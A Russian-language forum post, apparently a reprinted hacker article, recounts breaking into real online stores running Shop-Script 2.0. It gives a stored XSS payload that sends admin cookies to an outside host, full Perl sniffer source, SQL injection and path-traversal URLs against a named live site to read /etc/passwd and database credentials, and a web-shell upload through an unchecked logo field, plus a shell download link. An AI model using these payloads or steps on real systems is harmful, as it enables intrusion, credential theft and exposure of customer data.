Взламываем популярный движок для е-шопинга

CUK77

Professional
Messages
1,193
Reputation
3
Reaction score
386
Points
83
То, что в электронных магазинах мало дыр, — это не пустые слова. Забив в багтраке слово Shop, я увидел лишь несколько ссылок 2000 года, пару пассивных xss'ок и упоминание об sql-инъекции за 2001 год. Меня это сильно удивило и я решил исправить ситуацию. Мне даже стало интересно поискать дыру в каком-нибудь бесплатном магазинном движке.

Всё по порядку

Все началось с того, что я зашел по фтп на сервер, где хостится мой сайт. Среди нескольких директорий меня привлекла папка Shop, которую я до этого ни разу не видел. В ней находилось множество разнообразных скриптов. Обратившись к этой папке браузером, я окончательно убедился, что это интернет-магазин. Оказалось, мой друг, второй администратор нашего сайта, решил потестить этот движок. «Коммерсант хренов», – подумал я. Ну хорошо, ради интереса и я его посмотрю.

Приступим

Скачав и установив е-шоп к себе на винчестер, я приступил к исследованиям. Этот движок назывался без особенных изысков - Shop-Script. Версия 2.0. Как и полагается современным движкам, для хранения информации использовался сервер баз данных. После первого же осмотра «пациента» было обнаружено несколько багов. Значения переменных не фильтровалось на спецсимволы почти нигде, и через пять минут изучения сорцов мне даже показалось, что создатели этого движка не знали вообще ничего о безопасности web-приложений. Мне показалось довольно забавным, что при создании движка электронной торговли программисты даже не задумались о безопасности своего приложения. Хотя, может, они это сделали специально? Как бы то ни было, нам это только на руку. Будем изучать баги.

Первый баг - XSS

Если при оформлении заказа вставить в любое из полей личной информации (телефон, адрес и т.д.) строку <script>alert()</script>, то при отображении этой информации вылетит алерт.

Интересно, будет ли выполняться наш код в админ-панели? При просмотре пользовательской информации никаких окошек не появилось – код не выполнялся. Однако стоит только такому ядовитому пользователю произвести заказ на товар, как при просмотре администратором новых заказов зловредный код исполнится и в нашем случае появится предупреждающее окошко. Написать скрипт для отсылки админских кукисов – лишь дело техники и давно уже пройденный тобой этап, верно?

Примерный xss-код такой:

Code:
<script>document.write('<img width=1 height=1 src="http://sniff.ru/kartinka.jpg?'+document.cookie+'">');</script>

На свой же сервер для проведения атаки нужно залить примерно следующий перловый скрипт:

Код продвинутого снифера на Perl

Code:
#!/usr/bin/perl

$LogFile="log.txt";#путь к лог-файлу

$mlength=50;#максимальное число записей

print "Location: image.gif\n\n";#делаем редирект на картинку

read(STDIN, $input, $ENV{'CONTENT_LENGTH'});#читаем данные запроса

$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};

$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$now_string = localtime;#получаем время запроса и HTTP_REFERER

$ref = $ENV{'HTTP_REFERER'};

#читаем лог-файл в массив

open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";

@LOGtext=<LOG>;

close (LOG);

open (LOG, ">$LogFile");#открываем на запись лог

#сохраняем данные запроса

print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";

#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength

$counter=1;

foreach $LOGitem (@LOGtext)

{

if ($counter<$mlength){ print LOG "$LOGitem"; };

$counter++;

};

close (LOG);#закрываем лог

exit;

Приведенный скрипт позволяет отслеживать IP-адрес, поле Referer и принимать произвольные данные, переданные скрипту. Сценарий возвращает пользователю картинку, крадет его кукисы и не вызывает подозрений.

Второй баг

Задействовав поисковик (даже не буду говорить какой), был выбран сайт, работающий на Shop-Script. Естественно, перед этим я не забыл про свою анонимность.

На сайте торговали какой-то мебелью. Хотя мне было без разницы. Задача была одна – получить доступ к админке либо к базе данных.

Не обладая достаточными знаниями по sql-injection, я все-таки пытался вытянуть информацию из БД.

Было несколько вариантов вроде:

http://mebelart.com/index.php?categ...ull,null,null,null,null,null,null,null,null/*

но количество столбцов не совпадало (следовало воспользоваться скриптом для подборки числа выбираемых полей или подобрать его руками. – Прим. ред.).

В общем, нужного эффекта мне достигнуть не удалось. Тогда было решено подключить к этому делу своего знакомого, который неплохо разбирается в sql-injection. Он был слишком разговорчив и подкинул несколько идей:

http://mebelart.com/index.php?categoryID=-1 union select load_file('/etc/passwd') from admin/*

http://mebelart.com/index.php?categoryID=-1 union select password from admin/*

Однако реализовать предложенное им у меня опять не получилось, и я решил продолжить атаку на следующий день.

Новые решения

Честно говоря, мне совсем не хотелось вылавливать админские «печеньки» с помощью CSS. Вытащить же данные из базы никак не получалось. Казалось бы, что выхода нет и придется довольствоваться лишь фактом присутствия уязвимостей. Но тут я подумал, что раз в системе присутствуют 2 классических бага, то почему бы не попробовать реализовать и третий? И точно, интуиция меня не подвела.

У скрипта index.php есть параметр aux_page, именно он умел читать файлы на сервере.

Недолго думая, я решил просмотреть логины юзверей. Подставив aux_page=../../../../../../../etc/passwd, я увидел все логины.

Посмотрев исходники движка, был найден интересный файл connect.inc.php, который находился в директории cfg. В нем была полная информация для подключения к БД. То есть хост, логин, пароль и логин администратора магазина. Теперь, подставив в параметр aux_page и значение ../cfg/connect.inc.php, скрипт выдал пустую страницу, посмотрев исходник которой, был достигнут желаемый результат: там я обнаружил идентификаторы для подключения к БД.

Далее я залил скрипт sql.php (также для этих целей подойдет программа SQLyog) от команды RST, на ранее поломанный сервер, и подключился к базе данных.

БД теперь под контролем. Дальше - больше. Быстро пробежавшись по таблицам, я нашел решение еще одной задачи. Оказалось, что пароль и логин от админки скрипт хранит в таблице ss_customers, причем без всякого шифрования, в открытом виде. Теперь, введя эти данные в поля на главной странице сайта, я попал в зону администратора. Вот и все. Задача выполнена.

Это ещё не конец

Передо мной красовалась админка. Было 2 новых заказа.

Я подумал, что можно поменять цену какого-нибудь дивана на пару сотен USD и заказать с доставкой на дом. Но так как мебели у меня и так хватало, да и пополнять число зеков тоже не хотелось, я не стал воплощать этот бред воспаленного мозга в реальность.

Потом я подумал о данных по кредиткам наивных клиентов, но подобной информации обнаружено не было. Были лишь адреса, фамилии, телефоны и т.д.

Я имею полный доступ к базе данных, к админке, что еще нужно для полного счастья? Правильно, не хватает шелла.

Админка оказалась вполне функциональной, но пункта «Залить шелл» почему-то не оказалось.

Сначала я подумал, что получить веб-шелл на этой машине будет проще простого, но не тут то было. Я начал вставлять банальную строчку "<?php system("id"); ?>" везде где можно: сначала в блок новостей, потом в страницы «О магазине» и «Доставка и оплата», но нигде не было вывода заветных прав.

Заливаем шелл

Тогда я по инерции ткнул в пункт «Категории и товары». Там мне предлагалось создать новую категорию. Здесь меня заинтересовал пункт «Логотип», который предлагалось загрузить с компьютера. Думаю, предсказать следующие мои действия проще простого. Я нагло загрузил файл sh.php, который был немного модифицированным шеллом от RST.

Никакой проверки расширения и содержимого файла не было и в помине. Выбрав на сайте только что созданную категорию и подведя курсор к рисунку категории, я выбрал в контекстном меню пункт Open image и увидел полноценный веб-шелл.

Сервер крутился под фряхой. Чтобы не палиться, был залит отдельный шелл и удалена ранее созданная категория. Думаю, о том, что можно сделать с системой и как ее использовать в своих целях, не стоит рассказывать. Об этом слишком много написано.

The end

Чуть позже я рассказал второму админу нашего сайта о том, насколько дыряв «Шоп-Скрипт», и тот, с глубокой досадой, удалил этот дуршлаг.

Вот видишь, как несерьезно люди подходят к вопросу организации электронной коммерции. Серьезная фирма может завести сайт на движке Shop-Script, какой-нибудь хакер их взломает, информация о клиентах может стать разглашенной, а в итоге фирма потеряет не только авторитет, но и немалые деньги.

Движок Shop-Script весьма популярен в Интернете, и, проведя небольшой аудит сайтов, работающих на этом движке, я сделал вывод, что 80% из них уязвимы. Я считаю, что веб-шопы должны писаться строго на заказ. Сайт все равно могут взломать, но все-таки безопасность становится немного выше. Пользоваться CMS, код которой открыт всему Интернету, можно лишь небольшим магазинам, покупки в которых происходят раз в месяц. В случае взлома урон будет небольшой.

Посмотрев еще несколько хостов, которые Гугл выдал мне на запрос "inurl:index.php?aux_page=", я удивился, увидев на двух сайтах данные от БД, которые были на сервере, описанном выше. Человек держал 3 магазина на одинаковом движке и оба они, естественно, были уязвимы.

Пасхальное яйцо от RST

Не так уж и много людей знают о том, что в мегапопулярном web-шелле от российской команды RST есть «пасхальное яйцо» - счетчик посещений, который светит адрес установленного шелла в статистике (поле Referrer). Скачать скрипт с вырезанным счетчиком можно по этому адресу: www.securityinfo.ru/www/upload/tools/r57shell.txt.

INFO

Не пытайся перейти по адресу вида www.target.com/admin.php, так как тебя там никто не ждет и не пустит. Данные для входа в зону администрирования вводятся на главной странице.

WWW

В Сети уже довольно давно можно скачать исходный код известного магазина eBay. Если ты хочешь почувствовать себя в роли серьезного багоискателя, то поисковик тебе поможет найти эти интересные сорцы.

www.shop-script.ru - домашняя страница Shop-Script'a.
www.webyog.com - SQLyog. Программа для подключения к базе данных.
www.rst.void.ru/download/sql.rar - скрипт используемый в статье. Утилита a'la phpmyadmin для работы с базами данных MySQL.
www.securityinfo.ru/www/upload/tools/r57shell.txt - модифицированный шелл.

WARNING

Не стоит забывать, что все действия взломщиков противозаконны, поэтому данная статья предназначена лишь для ознакомления. За применение материала в незаконных целях автор и редакция ответственности не несут.
 
Last edited:
Top